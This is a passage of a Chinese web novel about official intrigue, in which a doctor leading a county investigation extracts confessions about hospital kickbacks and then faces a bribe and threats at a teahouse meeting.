“对。”叶凡指了指那本黑账,“这里面的人和事,很多都涉及当年的政策和规定。哪些属于违规,哪些属于违法,界限在哪里,分寸如何拿捏,我们这些年轻人看不准。到时候,您得帮我们从政策法规的层面,把每一笔账都定性清楚。这可是我们整个工作组的‘定海神针’啊。”
一番话说得王功脸上有了点血色,他下意识地挺了挺腰杆,端起茶杯,觉得这杯白开水似乎也有了点提神醒脑的功效。
李莉则坐在一旁,手里紧紧攥着笔,小小的笔记本上却一个字都没写下来。
她今天受到的冲击,比过去二十几年加起来都多。
她看着叶凡,眼神复杂,这个只比自己大几岁的男人,行事的手段和心智,却让她感觉深不可测。
“李莉同志。”叶凡看向她。
“到!”李莉像被电了一下,猛地站直。
“你不用紧张。”叶凡笑了笑,“你还是我们和县委办的联络员,但从现在开始,多一项任务。我们小组所有的对外联络,都必须通过你。任何人的电话,只要不是张**或者李县长本人打来的,你一概回复‘正在开会,稍后回复’。听明白了吗?”
“明白!”李莉用力点头,她懂了,叶凡这是在用她这道官方程序,建起一道防火墙。
“陈杰。”
“叶老师,我在!”陈杰满眼放光,激动得像个等待将军授勋的士兵。
“你和王老师、李莉同志一起,负责看好钱富贵。记住,是看护,不是看押。态度要和气,生活上要关心,但原则问题,一步不让。”叶凡的目光变得严肃,“他现在是唯一的活口,也是最脆弱的一环,不能出任何意外。”
“保证完成任务!”
分派完任务,房间里只剩下叶凡和苏沐秋。
苏沐秋给他续上水,轻声问:“你把他们都支出去了,是想单独审钱富贵?”
“不是审,是聊聊。”叶凡靠在椅子上,揉了揉眉心,“警察审犯人,我一个医生,只能跟病人聊病情。”
隔壁房间,钱富贵像一滩烂泥,瘫坐在椅子上。
陈杰守在门口,王功和李莉坐在他对面,三个**眼瞪小眼,气氛尴尬得能拧出水来。
门开了,叶凡和苏沐秋走了进来。
苏沐秋没有拿相机,只是拿了个小录音笔,放在桌上。
叶凡拉了把椅子,在钱富贵对面坐下,没有开口,只是静静地看着他。
时间一分一秒地过去,房间里只有钱富贵粗重的喘息声。
这种无声的压迫,比任何严厉的审讯都更让人崩溃。
“叶……叶组长……”终于,钱富贵熬不住了,声音沙哑地开口,“我错了,我全都交代,求求你,给我一条活路……”
“活路?”叶凡终于开口,声音很轻,“钱院长,你是个聪明人。你应该知道,从我们找到这本账开始,你的路,就只剩下法律规定的那几条了。”
他拿起桌上的水杯,推到钱富贵面前:“聊聊吧。你不是犯人,你是我接手的第一个‘病人’。你的病,病在贪。我想知道,给你开第一张‘致病毒方’的,是谁?”
钱富贵看着眼前的叶凡,对方的眼神里没有鄙夷,没有愤怒,只有一种医生看待病人的平静。
这种平静,让他最后一道心理防线彻底崩塌了。
“是……是康达公司。”钱富贵的声音抖得厉害,“三年前,康达的业务员找到我,说只要我用他们的药,每采购十万块钱的药,就给我一万块的回扣。后来……后来胃口越来越大,就变成了**票据,药品根本不入库,直接套取现金,他们拿大头,我拿小头……”
“账本上的‘康-李总’,就是康达医疗当时的负责人?”
“是,他叫李伟。后来听说他被调走了,换了新老板。”
叶凡点点头,又翻开笔记本:“这个‘二舅’,是谁?”
钱富贵的脸色瞬间变得更加惨白,嘴唇哆嗦着,说不出话来。
“不想说?”叶凡的语气依然平静,“没关系。我们有的是时间。不过我提醒你一句,主动说,叫‘坦白’,性质是配合调查。等我们自己查出来,再让你‘指认’,那性质可就变了。”
他看了一眼墙上的挂钟:“现在是晚上十点,我给你十分钟考虑。十分钟后,李县长和张**派的联合调查组就该到了。到时候,跟你聊天的,可就不是我这个医生了。”
这句话,像一根针,狠狠扎在钱富贵的心上。
联合调查组!
他知道,那意味着什么。
一旦纪委监察的人介入,一切都将成为铁案,再无转圜的余地。
“我说!我说!”钱富贵彻底崩溃了,“‘二舅’……是县农业局副局长,周学斌!他是马局长老婆的亲弟弟!”
马德龙的小舅子!
这个答案,让房间里除了叶凡之外的所有人,都倒吸了一口凉气。
……
与此同时,县卫生局局长办公室里,马德龙正像一头困在笼子里的野兽,来回踱步。
他给张海涛的秘书打了三次电话,对方都客气地回复“**正在开会”。
他又给县委办相熟的副主任打电话旁敲侧击,对方也是含糊其辞。
他被隔绝了。
一种前所未有的恐惧,像藤蔓一样缠住了他的心脏。
**叶凡到底在招待所里干什么,更不知道那本黑账上到底记了些什么。未知,才是最可怕的。
他抓起桌上的电话,手抖得厉害,拨出了一个号码。
“喂,学斌吗?是我……”
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“姐夫?”电话那头的声音带着几分醉意,“这么晚了,啥事啊?”
“你……你最近没干什么出格的事吧?”马德龙压低声音问。
“我能干啥事啊?天天在办公室喝茶看报纸。哦对了,前两天梅林镇那个钱富贵,又给我送了两条好烟,那小子挺上道。怎么了,姐夫?”
马德龙感觉自己的血压“嗡”地一下就冲上了头顶。
“你……”他气得差点一口气没上来,咬着牙低吼,“我告诉你,从现在开始,谁的电话也别接!谁找你也别见!就说自己病了,在家休养!听到没有!”
说完,他“啪”地一声挂了电话,浑身无力地瘫坐在椅子上,冷汗浸透了衬衫。
……
招待所里,叶凡看着已经把所有事情和盘托出的钱富贵,合上了自己的笔记本。
“李莉。”
“在。”
“以医疗改革工作组的名义,给农业局办公室打个电话。”
李莉一愣:“现在?”
“对,现在。”叶凡看着她,“就说,为了推进我们县‘中医药下乡、服务三农’的试点工作,需要农业局提供一份全县主要经济作物和药材种植的分布资料。这份资料,请他们务必在明天上午九点前,送到我们工作组来。指名,让周学斌副局长负责督办此事。”
李莉瞬间明白了。
这哪里是要资料,这分明是在敲山震虎!
大半夜地以工作组的名义,通过官方渠道,点名让一个副局长第二天一早就来送资料。
这本身就是一个极不寻常的信号。
周学斌只要不傻,就会立刻明白,自己被盯上了。
他会怎么做?是乖乖前来,还是闻风而逃?或者,是去找他的姐夫马德龙?
无论他怎么选,都会进一步暴露自己,并且把火,烧得更旺。
李莉深吸一口气,拨通了电话。
在叶凡的注视下,她用一种前所未有的沉稳和干练,将指令清晰地传达给了对方。
挂了电话,她看着叶凡,眼神里第一次有了几分敬畏。
这个年轻人,正在下一盘大棋。
而他们,既是棋子,也是这盘棋的观局者。
“叮铃铃!”
就在这时,叶凡的手机响了。
是**的号码。
“叶凡,我的人到了,就在招待所楼下。财政局的老吴带队,审计和监察的同志也一起。你下去接一下,把账本和人,跟他们做个交接。”
“好。”
叶凡刚挂了电话,手机又响了。
这次,是张海涛的秘书,小周。
“叶组长,**让我通知您,县委纪委的副**,郑国平同志,马上就到。**指示,由郑**全权负责指导你们工作组的工作,确保案件调查,不偏离正确的**方向。”
叶凡的嘴角勾起一抹不易察觉的弧度。
他放下手机,对房间里神情各异的众人说:“各位,准备一下,我们的手术室,来客人了。”
政府的刀,和党委的剑,几乎在同一时间,抵达了战场。
一场围绕着这本小小黑账的真正较量,此刻,才刚刚拉开序幕。
第100章 一间病房,两路神仙!
县招待所的停车场,深夜里显得格外空旷。
两束车灯几乎同时划破黑暗,一前一后,从两个不同的方向驶入,最终在招待所门口停下。
前一辆是县政府的帕萨特,车门打开,下来一个身材微胖、面色红润的男人,正是县财政局局长吴国栋,**手下最信得过的大账房。
后一辆是县委的奥迪,下来一个身形清瘦、眼神锐利的中年人,他扶了扶眼镜,眉宇间自有一股不怒自威的气场,此人是县纪委**郑国平,张海涛手里最锋利的一把“剑”。
两拨人马在招待所大厅相遇,空气瞬间变得有些微妙。
“郑**,这么晚了,您也来指导工作?”吴国栋脸上挂着弥勒佛般的笑容,主动伸出手。
“吴局长说笑了。”郑国平轻轻握了一下,便松开了手,语气平淡,“奉张**的命令,来了解一点情况。倒是吴局长,财政局的灯,今晚也亮到这儿来了?”
“李县长关心基层财务安全,让我们来做个预审,防微杜渐嘛。”
两人你来我往,字字客气,句句机锋。
一个代表政府的“钱袋子”,一个代表党委的“纪律尺”,都想把案子第一时间攥在自己手里。
叶凡从电梯里走出来,恰好看到这一幕。
“郑**,吴局长,辛苦两位深夜跑一趟。”他快步上前,脸上带着恰到好处的歉意和凝重,“情况紧急,事出突然,只能麻烦二位了。”
看到叶凡这个正主出现,郑国平和吴国栋的目光立刻聚焦在他身上。
“小叶同志,张**很关心,人呢?证据呢?”郑国平开门见山。
“叶组长,李县长也指示了,账目问题,专业的事要交给专业的人。”吴国栋紧随其后。
“两位领导别急,楼上请。”叶凡侧身做了个“请”的手势,“手术室已经备好,就等两位主刀专家会诊了。”
三楼的走廊里,气氛已经凝固到了极点。
王功、李莉、陈杰三人像三尊门神,守在两个房间门口。
看到叶凡领着两位气场强大的领导上来,三人的心都提到了嗓子眼。
叶凡先推开了关押钱富贵的房间门。
钱富贵一看到穿着制服的郑国平,整个人就像被抽掉了骨头,彻底瘫软下去,嘴里发出无意义的呻吟。
郑国平只扫了一眼,便不再看他,目光转向叶凡,意思很明确:我要带走。
叶凡却转身,推开了隔壁的房门,也就是他的“临时指挥室”。
那本黑色的笔记本,被放在桌子正中央,旁边是那叠厚厚的、盖着财务章的发票复印件。
“郑**,吴局长,请看。”
当郑国平和吴国栋看清那本摊开的笔记本上,密密麻麻记录的代号和数字时,两人的瞳孔都是猛地一缩。
他们都是官场老手,一眼就看出了这东西的分量。
这哪里是账本,这分明是一份青川县官场的“死亡名单”!
“这是病人的口供,这是病灶的切片。”叶凡指了指钱富贵,又指了指笔记本,“两位领导都是杏林国手,您看,这病该怎么治?”
吴国栋的呼吸有些急促,他伸手就想去拿那本账本:“这是典型的国有资产流失,财务违规!必须马上封存,由我们财政和审计部门……”
“吴局长,稍安勿躁。”郑国平的手更快,轻轻按在了笔记本上,目光却看着叶凡,“这里面涉及的,恐怕不止是钱的问题。每一个数字背后,都可能有一个违纪违法的干部。这是典型的党纪问题,必须由纪委来主导调查,深挖彻查!”
手术还没开始,两位“主刀”已经快要为了谁先下刀而吵起来了。
房间里的空气,紧张得仿佛一根即将绷断的弦。
“两位领导说得都对。”叶凡的声音不大,却清晰地压过了两人的争执。
他走到桌边,将笔记本轻轻合上。
“这个病例很复杂,是恶性肿瘤,同时还伴有大出血。既需要外科手术切除肿瘤,也需要内科紧急止血,恢复身体机能。缺一不可。”
他看向郑国平,语气诚恳:“郑**,您是纪律方面的专家,负责审人,挖出**的根源,这是‘正本清源’,是治本。没有您来主刀,这台手术就失去了意义。”
他又转向吴国栋,同样一脸真诚:“吴局长,您是财政方面的专家,负责查账,理清每一笔国有资产的流失,追回损失,这是‘刮骨疗毒’,是救命。没有您来掌舵,病人可能等不到肿瘤切除,就先失血过多而**。”
“所以,”叶凡加重了语气,“我建议,成立联合调查组。纪委的同志负责审讯突破,财政和审计的同志负责核查账目。我们医疗改革工作组,发现了病灶,现在就负责提供这个手术台,并做好术中监测,确保两边信息实时互通,证据形成闭环,最终形成一份权责清晰、事实明确的联合诊断报告。这份报告,一份交给张**,一份交给李县长。两位领导看,这样安排是否妥当?”
一番话,有理有据,滴水不漏。
既肯定了双方的权威,又巧妙地提出了一个谁也无法拒绝的“合作方案”,更关键的是,把他自己这个“发现者”,牢牢地钉在了“协调者”和“信息中枢”的关键位置上。
郑国平和吴国栋对视了一眼,都在对方眼中看到了惊讶和一丝无奈。
他们都明白,叶凡这个年轻人,把皮球踢了回来,而且踢得极有水平。
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>单独把案子抢过来,必然会得罪另一方的领导。
合作,是眼下唯一的选择。
而叶凡,就是这个合作中,谁也绕不开的枢纽。
“我没意见。”郑国平率先表态,他深深地看了叶凡一眼,“但人,必须由我们纪委来看管。”
“账本和所有财务凭证,必须交给我们财政局封存。”吴国栋也立刻跟上。
“当然。”叶凡笑了。他拿起桌上的笔记本,递给郑国平,“这是复印件,两位领导可以先带回去研究。原件,作为核心证物,暂时由我们工作组和苏记者共同保管,等联合调查组正式成立,再统一移交。我想,这样最符合程序正义。”
他又把一叠复印的发票凭证递给吴国栋。
郑、吴二人接过复印件,脸色都有些不好看。
叶凡这一手,等于把最关键的东西还攥在自己手里。
他们拿到的,只是“诊断报告”,而叶凡,还控制着“病人”和“病理切片”。
但话说到这个份上,他们没法再反驳。
“好,就这么办!”郑国平一锤定音。
“可以。”吴国栋也点了点头。
很快,纪委的人带走了钱富贵,财政局的人搬走了成箱的票据资料。
走廊里很快恢复了安静,但所有人都知道,一场巨大的风暴,已经正式拉开了序幕。
王功擦了擦额头的汗,凑到叶凡身边,声音发颤:“叶……叶组长,您这……这是在走钢丝啊。一边是县委**,一边是县长,这万一……”
“王老师,我们不是走钢丝。”叶凡拍了拍他的肩膀,看着窗外深沉的夜色,“我们是在给病人做手术。一个好的外科医生,眼睛里只有病灶,没有其他。”
苏沐秋收起录音笔,走到叶凡身边,压低了声音,眼波流转,带着一丝狡黠的笑意:“你这哪里是请了两个主刀大夫,你这是直接把他们两个,都变成了你的手术助理啊。”
叶凡转过头,看着她亮晶晶的眼睛,脸上露出了今晚第一个轻松的笑容。
他刚想说话,手机却不合时宜地响了起来。
是个陌生号码,归属地显示是江城市。
叶凡皱了皱眉,接起电话。
电话那头,传来一个慵懒却带着一丝玩味的女声,那声音他一辈子都忘不了。
“叶凡,是我。”
是柳如烟。
“听说你最近在你们那小县城,玩得风生水起,把你们卫生局长都快送进去了?”柳如烟的声音里听不出是嘲讽还是别的什么,“我正好在省城有个采访,顺便提醒你一句。你查的那个康达医疗,新换的东家,是我哥一个朋友。你动了他的蛋糕,小心人家从省里,直接把你的手术台给掀了。”
第101章 省城的风,吹不倒手术台!
电话那头的声音,像一根冰冷的针,刺破了招待所房间里刚刚取得阶段性胜利后微妙的平衡。
柳如烟。
这个名字,对叶凡而言,曾是午夜梦回时心口的钝痛,如今,却只剩下一种隔着**玻璃看旧照片的疏离感。
苏沐秋的眼神动了动,没有说话,只是抱着手臂,安静地站在一旁,像一个置身事外的观察者。
“康达医疗的新东家,是你哥的朋友?”叶凡的语气很平淡,听不出喜怒,仿佛在确认一件无关紧要的小事,“所以,这个电话是来替你哥的朋友,向我问好?”
电话那头,柳如烟似乎被他这种过分平静的态度噎了一下,沉默了两秒。
“问好?叶凡,你别给脸不要脸!”她的声音陡然拔高,带着那股熟悉的、居高临下的恼怒,“我是在提醒你!你以为你扳倒一个卫生局长很了不起吗?在省城那些人眼里,你那个小县城,跟个村没什么区别!人家动动小手指,就能让你所有的努力都变成一个笑话!”
“是吗?”叶凡轻笑一声,“那多谢你的提醒了。”
“你……”
“柳小姐,”叶凡打断了她,称呼的改变,像一道无形的墙,瞬间竖起,“如果你打电话来,是想告诉我,我正在处理的这起国有资产流失案背后,有省城的关系网,有你哥哥柳志鹏的影子。那我心领了,这算是你为青川县的反腐工作,提供了重要的线索,我会如实向组织汇报的。”
“你敢!”柳如烟的声音变得尖利。
“我为什么不敢?”叶凡反问,“还是说,你想让我当成是,你在利用你们家的关系网,威胁、干涉基层办案人员?这个性质,可就更严重了。”
“叶凡!你非要跟我作对是不是!”
“我没兴趣跟你作对。”叶凡的声音冷了下来,像手术刀的刀锋,“我是一名医生,现在是一名国家干部。我的职责,是切除我看到的每一个病灶,不管这个病灶上面,长的是谁家的亲戚。如果你说的那个新东家,他的蛋糕是干净的,那我的刀,自然碰不到他。如果他的蛋糕,本就是从病变的组织上挖下来的,那我不仅要切,还要连根拔起。”
他顿了顿,一字一句,清晰地说道:“我的手术台,不欢迎家属探视。就这样。”
说完,叶凡直接挂断了电话,顺手将那个号码拉进了黑名单。
整个动作行云流水,没有丝毫拖泥带水。
房间里一片寂静。
苏沐秋看着他,那双总是带着几分狡黠的眼睛里,此刻流淌着一种复杂的光芒,有欣赏,有好奇,还有一丝不易察觉的……心疼。
“前妻的电话,比纪委的阵仗还厉害?”她率先打破了沉默,语气里带着几分调侃。
“噪音而已。”叶凡将手机扔到桌上,揉了揉眉心。
他并不像表面上那么轻松。
柳如烟的电话,像一阵从省城吹来的阴风,证实了他之前的猜测。
梅林镇这条小河,果然连着江城乃至省城那片深不见底的湖。
马德龙和钱富贵,不过是湖里漂出来的两条小鱼。
“看来,你的对手,已经升级了。”苏沐秋走到他身边,给他空了的杯子续上水。
“是啊,”叶凡看着杯子里升腾起的热气,“从县级副本,直接跳到了省级副本的隐藏BOSS。”
苏沐秋扑哧一声笑了出来,房间里凝重的气氛,顿时轻松了不少。“那你这个新手村玩家,打算怎么打?”
叶凡端起水杯,喝了一口,眼神重新变得锐利而冷静:“他有他的阳关道,我有我的独木桥。风大,吹得倒小树,但吹不倒手术台。只要我站稳了,把手上的这台手术做得干干净净,谁也别想中途把它掀了。”
……
第二天,青川县的天,看似和往常一样,但敏感的人,已经能嗅到空气中那股山雨欲来的气息。
县委和县政府联合成立“乡镇医疗系统财务及纪律问题专项调查组”的**,以最快的速度下发到了各单位。
组长一栏,挂着两个名字:县纪委**郑国平,县财政局局长吴国栋。
副组长,叶凡。
这个排名,意味深长。
调查组的办公地点,就设在了县招待所的三楼。
纪委和财政局连夜抽调来的精兵强将,已经将两个会议室改造成了临时的办公室和审讯室。
叶凡的小团队,也被正式收编。
王功捧着他的大茶缸,看着走廊里来来往往、表情严肃的纪委和财政干部,腿肚子有点转筋。
他凑到叶凡身边,压低了声音,像是在说地下党接头的暗号:“叶组长,这……这阵仗,比上次地区搞严打还吓人。咱们……咱们这是不是玩得太大了?我听说,马局长今天都没去上班,请了病假。”
“不做亏心事,不怕鬼敲门。他要是真病了,我们医疗改革小组,倒是可以派个代表去慰问慰问。”叶凡不咸不淡地回了一句。
王功被噎得直翻白眼,缩回角落里喝茶去了。
李莉则完全是另一番景象。她换上了一身更显干练的职业套裙,手里拿着个文件夹,在两个办公室之间穿梭联络
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,传递文件,俨然已经成了叶凡最得力的“战地通讯员”。
她看叶凡的眼神,已经从最初的审视和不解,变成了彻底的信服和一点点崇拜。
陈杰更是打了鸡血一样,主动承担了所有跑腿打杂的活儿,复印文件,整理卷宗,忙得脚不沾地,脸上却洋溢着参与了历史的兴奋光芒。
上午九点整,一个穿着农业局制服、神色慌张的中年男人,准时出现在了调查组的办公室门口。
“我……我找叶凡组长,我是农业局的周学斌,来送资料。”
李莉抬头看了他一眼,指了指叶凡的办公室:“叶组长在里面等你。”
周学斌推开门,看到坐在办公桌后的叶凡时,双腿一软,差点没站稳。
他挤出一个比哭还难看的笑容:“叶……叶组长,您要的资料,我……我给您送来了。”
叶凡抬起头,目光平静地看着他:“周局长,辛苦了。坐吧。”
周学斌哪里敢坐,双手将一个厚厚的档案袋递了过去,手抖得像秋风里的落叶。
叶凡没有接档案袋,只是看着他,缓缓开口:“周局长,你是我见过的,最关心我县医疗卫生事业的农业干部。听说梅林镇卫生院的钱富贵,每次去你办公室汇报工作,都顺便给你讲解最新的抗菌药知识?”
周学斌的脸“唰”地一下,血色褪尽。
“我……我不明白您的意思……”
“不明白没关系。”叶凡站起身,走到他面前,声音不大,却字字诛心,“钱富贵的那本学习笔记,现在就在隔壁。上面,你的名字,出现了十七次。你每一次的学习心得,他都记得很清楚。要不要,我拿过来,跟你一起重温一下?”
“扑通!”
周学斌再也支撑不住,一屁股瘫坐在了地上,裤腿下,隐隐传来一股骚臭味。
叶凡皱了皱眉,退后一步,对门口喊道:“郑**,吴局长,你们要的第二个突破口,自己走上门来了。”
郑国平和吴国栋快步走了进来,看到瘫在地上的周学斌,两人对视一眼,都从对方眼中看到了震惊,以及一丝对叶凡这个年轻人的深深忌惮。
不审不问,攻心为上。
这个年轻人,哪里是在办案,他分明是在做一场精准的心理手术!
就在这时,叶凡的私人手机,突兀地震动了一下。
他拿起来一看,是一条短信,来自一个陌生号码。
“叶组长,我是马德龙。想活命,就别再查了。想活得更好,今晚八点,清风茶楼,天字号包间,我等你。一个人来。”
第102章 鸿门宴上,谁为刀俎?
那条短信,像一颗投入平静水面的石子,在叶凡的手机屏幕上,激起无形的涟漪。
郑国平和吴国栋刚刚指挥手下,将已经语无伦次、浑身瘫软的周学斌架走。
两人回到办公室,看向叶凡的眼神,已经彻底变了。
震惊、忌惮,甚至还有一丝……畏惧。
这个年轻人,兵不血刃。
没有一句审问,没有半点恐吓,仅仅是通过一个看似正常的公务电话,就精准地击溃了一个副局级干部的心理防线。
这种手段,已经超出了他们对常规办案的理解。
“小叶同志,你这一手‘敲山震虎’,不,是‘隔山打牛’,用得真是……出神入化。”吴国栋搓着手,胖脸上挤出的笑容有些僵硬。
郑国平没说话,只是扶了扶眼镜,镜片后的目光深沉。
他心里清楚,叶凡这是在立威。
不仅是立给马德龙看,也是立给他们这些所谓的“主刀专家”看。
他用行动宣告,谁才是这台手术的真正核心。
“两位领导过奖了。”叶凡将手机屏幕转向他们,神色平静,“刚震完虎,老虎就主动约我喝茶了。”
郑国平和吴国栋凑过去一看,马德龙那条赤裸裸的短信,让两人同时倒抽了一口凉气。
“混账!他这是要做什么?公然威胁调查组的干部!”郑国平勃然大怒,纪委干部的职业本能让他立刻警觉起来,“你不能去!这是个圈套!”
“对,不能去!”吴国栋也连连摆手,“叶组长,你现在是关键人物,他这是狗急跳墙,什么事都干得出来。万一他们给你下套,录个音,拍个照,到时候你有十张嘴都说不清!”
一个唱红脸,一个唱白脸,此刻却出奇地统一了战线。
叶凡没有立刻回答,他收回手机,看向一直站在旁边、默不作声的苏沐秋。
苏沐秋的眉头紧锁,眼神里全是担忧。
“两位领导的心意我明白。”叶凡开口了,声音沉稳,带着一种让人信服的力量,“但我觉得,这个茶,必须去喝。”
“为什么?”郑国平不解。
“因为他怕了。”叶凡的嘴角勾起一抹弧度,“一条被逼到绝路的疯狗,才会不管不顾地龇牙。他约我,说明我们打到了他的痛处,也说明,他手上可能还捏着什么他自认为的‘王牌’,想要跟我做最后的谈判。”
他顿了顿,目光扫过两位领导的脸。
“我们查案,不能只靠审问和查账。有时候,让敌人自己把底牌亮出来,比我们费尽心机去挖,要快得多。”
叶凡的话,让郑国平和吴国栋陷入了沉思。
这个道理他们懂,但风险太大了。
“我不是一个人去。”叶凡继续说道,语气变得更加郑重,“我是代表我们整个专项调查组,代表县委和县政府,去会会他。我本人,只是一个执行者。”
他看向郑国平:“我希望,在我赴约期间,郑**能派人‘保护’好我的安全。当然,这种保护,不能被马德龙发现。”
他又转向吴国栋:“也希望吴局长,能让审计的同志们,在我赴约的这两个小时里,加个班,把康达医疗和卫生局之间的所有资金往来,再重新梳理一遍,看看有没有什么新的发现。”
最后,他看着两人,一字一句地说道:“我信任组织,也相信两位领导,会是我最坚实的后盾。”
这番话,说得滴水不漏。
他不是在请求,而是在布置任务。
他把自己的个人安危,和整个调查组的荣誉、和两位领导的责任,巧妙地捆绑在了一起。
如果他叶凡在赴约时出了任何问题,那就不再是他个人的事,而是整个调查组的重大事故,是郑国平和吴国栋的严重失职,更是对县委张**和县府李县长权威的公然挑衅。
郑国平和吴国栋对视一眼,都在对方的眼中看到了震撼和一丝苦笑。
他们被这个年轻人,牢牢地“绑”上了战车。
而且,是心甘情愿的。
“好!”郑国平一拍桌子,下了决心,“我亲自带队,在茶楼外围布控。你放心去,只要他在青川县的地界上,就翻不了天!”
“我马上让小刘他们把账本再过一遍!”吴国栋也立刻表态。
事情就这么定了下来。
房间里,只剩下叶凡和苏沐秋。
“你真的要去?”苏沐秋的声音里,带着一丝她自己都未察觉的颤抖。
“去。”
“你就不怕……”
“怕。”叶凡坦然承认,他看着苏沐秋的眼睛,认真地说,“我怕的不是他马德龙,我怕的是,这台手术做到一半,找不到病根所在,最后只能草草缝合,留下无穷的后患。”
苏沐秋的心,被这句话轻轻触动了。
她从自己的挎包里,拿出一支看起来平平无奇的黑色钢笔,递了过去。
“这是我们报社最新的采访设备,高清录音,待机时间超过十个小时。笔帽拧一下是开,再拧一下是关。”
她的声音恢复了平时的干练。
“注意安全。”
叶凡接过钢笔,插在上衣口袋里,钢笔的重量,让他感到一种莫名的心安。
“谢谢。”
……
晚上八点,清风茶楼。
这里是青川县最高档的消费场所之一,古色古香的装修,曲径通幽的布局,每一个包间都隔着相当的距离,私密性极好。
叶凡一个人,走进了茶楼大门。
他没有东张西望,步履沉稳,就像一个来此品茗的普通客人。
但他的感官,却像雷达一样全面铺开。
他能听到假山后隐约的流水声,闻到空气中飘散的顶级龙井茶香,甚至能感觉到,在不远处的角落里,有两道锐利的视线,一闪而过。
是郑国平的人。
他心中了然,径直走上了二楼。
“天字号包间。”
推开那扇厚重的木门,一股浓烈的雪茄味混合着檀香,扑面而来。
包间里,灯光昏黄。
马德龙正大马金刀地坐在一张太师椅上,手里夹着一支粗大的雪茄,烟雾缭绕中,他的脸显得有些狰狞。
他的面前,摆着一套精致的紫砂茶具,茶水正沸。
看到叶凡进来,马德龙的脸上,硬生生挤出一个笑容,只是那笑意,未达眼底。
“叶组长,果然有胆色。我还以为,你不敢来。”
他的声音,比平时要沙哑许多。
叶凡没有理
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会他的话,目光平静地扫视了一圈,然后拉开他对面的椅子,坐了下来。
动作从容,神态自若。
仿佛他不是来赴一场鸿门宴,而是来参加一次普通的工作会谈。
这种超乎寻常的镇定,让马德龙眼中的凶光,微微收敛了一丝。
他亲自提起茶壶,给叶凡面前的小茶杯里,斟满了琥珀色的茶汤。
“叶组长,年轻人,有冲劲是好事。”
马德龙缓缓开口,像一个劝诫后辈的长者。
“但是,水至清则无鱼,人至察则无徒。这个道理,你应该懂。”
叶凡端起茶杯,没有喝,只是放在鼻尖闻了闻。
“马局长,我不懂什么大道理。”
他放下茶杯,抬起眼帘,目光如刀,直刺马德龙。
“我只知道,医生的天职是治病救人。看到肿瘤,就要切除,任其发展,只会害了整个身体。”
马德龙的脸色,瞬间阴沉了下去。
他重重地将雪茄按在烟灰缸里,发出一声闷响。
“好一个治病救人!”
他冷笑一声,身体前倾,死死地盯着叶凡。
“叶凡,我今天找你来,不是跟你辩论的。我给你指两条路。”
他伸出两根手指。
“第一条,是条阳关道。这张卡里有五十万,是你前半辈子都挣不到的钱。拿着它,明天打个报告,就说你水土不服,身体不适,主动申请退出调查组。梅林镇的账,到钱富贵为止。你回你的医院,我当我的局长,从此井水不犯河水。你的前途,我甚至可以帮你运作一下,回市里的大医院,也不是不可能。”
他将一张银行卡,推到了叶凡面前。
然后,他的声音,陡然变得阴森。
“第二条,是条死胡同。”
“叶凡,你是个聪明人,应该知道,我马德龙能在卫生系统干二十年,不是白干的。你以为你查的只是一个钱富贵?你动的是一个盘根错节的利益链!你断了多少人的财路,你知道吗?”
“你今天走出这个门,不收这张卡。我保证,不出三天,你的各种黑料,就会摆满县委领导的办公桌。什么收受病人红包,什么跟女同事关系不清不楚,甚至你这次下乡,到底是不是主动申请,恐怕都有人能说出另一个版本的故事。”
他的声音压得极低,像毒蛇在吐信。
“你年轻,有前途,别为了一个跟你毫不相干的案子,把自己一辈子都搭进去。是上天堂,还是下地狱,你自己选。”
包间里,空气仿佛凝固。
茶水的雾气和雪茄的烟雾,交织在一起,模糊了马德龙那张扭曲的脸。
威胁,利诱,恫吓。
这是他最后的,也是最疯狂的挣扎。
叶凡静静地听着,脸上没有任何表情。
直到马德龙说完,他才缓缓地笑了。
那笑容很淡,却带着一种让马德龙心底发寒的轻蔑。
“马局长。”
叶凡开口,声音不大,却清晰地穿透了满屋的烟雾。
“你好像搞错了一件事。”
“你给的这两条路,都不是给我的。”
他伸出手指,轻轻将那张银行卡,推了回去。
“它们,是给你自己的。”
第103章 一局定生死,一语诛人心!
马德龙脸上的肌肉僵住了。
他死死盯着叶凡,仿佛想从那双平静得过分的眼睛里,看出哪怕一丝一毫的虚张声势。
但他失败了。
叶凡的眼神就像他手术台上的无影灯,冰冷、专注,能照亮所有被隐藏的龌龊。
“我自己的路?”马德龙从牙缝里挤出几个字,声音干涩,带着一丝他自己都没察觉的颤抖。
“对。”
叶凡身体微微前倾,双手交叉放在桌上,形成一个稳固的塔状。
这个姿势,让他看起来不像一个受审者,更像一个掌控全局的审判官。
“第一条路,我替你取个名字,叫‘断腕求生’。”
叶凡的声音不大,却清晰地回荡在古色古香的包间里。
“你,主动向调查组坦白所有问题。不仅仅是钱富贵和梅林镇卫生院的事,还有康达医疗,以及康达医疗背后,那个你惹不起、也保不住你的‘新东家’。把你知道的一切,都干干净净地倒出来。这叫‘重大立功表现’。”
“这么一来,性质就变了。你不再是单纯的贪腐分子,而是迷途知返、协助组织办案的‘污点证人’。法律是威严的,但也是讲究政策的。坦白从宽,牢底坐穿;抗拒从严,回家过年。这句话,你应该比我懂。”
马德龙的呼吸瞬间变得粗重,胸口剧烈起伏,雪茄的烟雾被他喷出,在他和叶凡之间形成一道扭曲的屏障。
叶凡仿佛没看见他的失态,继续说:“至于第二条路,就更简单了,叫‘自掘坟墓’。”
他指了指桌上那张银行卡,嘴角勾起一抹近乎残忍的笑意。
“你觉得,这五十万,是给我的**?”他拿起那张卡,在指尖掂了掂,动作轻佻,却带着无尽的嘲讽,“马局长,你这是看不起我,还是看不起你自己?你这卫生局一把手的位子,连带着你二十年的官场生涯,就值这点钱?”
“你!”
马德龙猛地一拍桌子,茶杯被震得跳了起来,茶水溅出。
“别激动。”叶凡将卡轻轻放回桌上,推到他面前,“这五十万,加上你刚才说的那些话,我这支笔,可都给你一字不落地记着呢。”
他轻轻拍了拍自己胸前的口袋,那里插着苏沐秋给他的录音钢笔。
一个简单的动作,却像一记重锤,狠狠砸在马德龙的心脏上。
录音!
他瞬间明白了。
从他踏进这个房间开始,他就掉进了一个为他量身定做的陷阱。
“你以为你那些威胁,很有用吗?”叶凡的语气变得冰冷,“给我泼脏水?编造我和女同事的绯闻?马局长,你这些手段,太老了,也太低级了。柳家父子倒台之前,玩的比你花哨多了,结果呢?”
“柳家”两个字,像一道闪电,劈开了马德龙最后的侥幸。
他这才想起来,眼前这个年轻人,是亲手把市宣传部部长拉下马的狠角色!
自己这点县城里的手段,在他面前,简直就是小孩子过家家。
“你……你怎么会知道……”
“我知道的,比你想象的要多。”叶凡打断了他,身体靠回椅背,彻底放松下来,因为他知道,这场心理战,已经结束了。
